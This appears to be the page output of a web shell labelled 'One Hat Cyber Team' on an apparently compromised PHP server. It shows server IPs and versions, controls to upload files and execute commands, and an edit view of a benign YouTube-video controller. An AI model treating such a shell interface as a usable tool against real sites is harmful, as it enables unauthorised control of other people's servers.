⚝
One Hat Cyber Team
⚝
Your IP:
192.168.31.6
Server IP:
192.168.1.11
Server:
Linux pams 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64
PHP Version:
8.2.28
Buat File
|
Buat Folder
Upload File
Eksekusi
Dir :
~
/
var
/
www
/
lppm
/
Modules
/
Backend
/
Video
/
Controllers
/
Edit File: Video.php
<?php namespace Modules\Backend\Video\Controllers; use App\Controllers\BaseController; use Modules\Backend\Video\Models\VideoModel; class Video extends BaseController { protected $model; public function __construct() { $this->model = new VideoModel(); } public function index() { $data['title'] = 'Video'; $data['li_1'] = 'Daftar Video'; $data['body'] = 'Modules\Backend\Video\Views\index'; $data['list'] = $this->model->orderBy('created_at', 'DESC')->findAll(); return view('backend', $data); } private function getYoutubeId($url) { preg_match('%(?:youtube(?:-nocookie)?\.com/(?:[^/]+/.+/|(?:v|e(?:mbed)?)/|.*[?&]v=)|youtu\.be/)([^"&?/ ]{11})%i', $url, $match); return $match[1] ?? null; } public function store() { $url = $this->request->getPost('video_url'); $youtubeId = $this->getYoutubeId($url); if (!$youtubeId) return redirect()->back()->with('error', 'URL YouTube tidak valid!'); $this->model->save([ 'title' => $this->request->getPost('title'), 'video_url' => $url, 'youtube_id' => $youtubeId, 'is_headline' => $this->request->getPost('is_headline') ?? 0 ]); return redirect()->back()->with('success', 'Video berhasil disimpan!'); } public function update($id) { $url = $this->request->getPost('video_url'); $youtubeId = $this->getYoutubeId($url); if (!$youtubeId) return redirect()->back()->with('error', 'URL YouTube tidak valid!'); $this->model->save([ 'id' => $id, 'title' => $this->request->getPost('title'), 'video_url' => $url, 'youtube_id' => $youtubeId, 'is_headline' => $this->request->getPost('is_headline') ?? 0 ]); return redirect()->back()->with('success', 'Video diperbarui!'); } public function delete($id) { $this->model->delete($id); return redirect()->back()->with('success', 'Video dihapus!'); } }
Simpan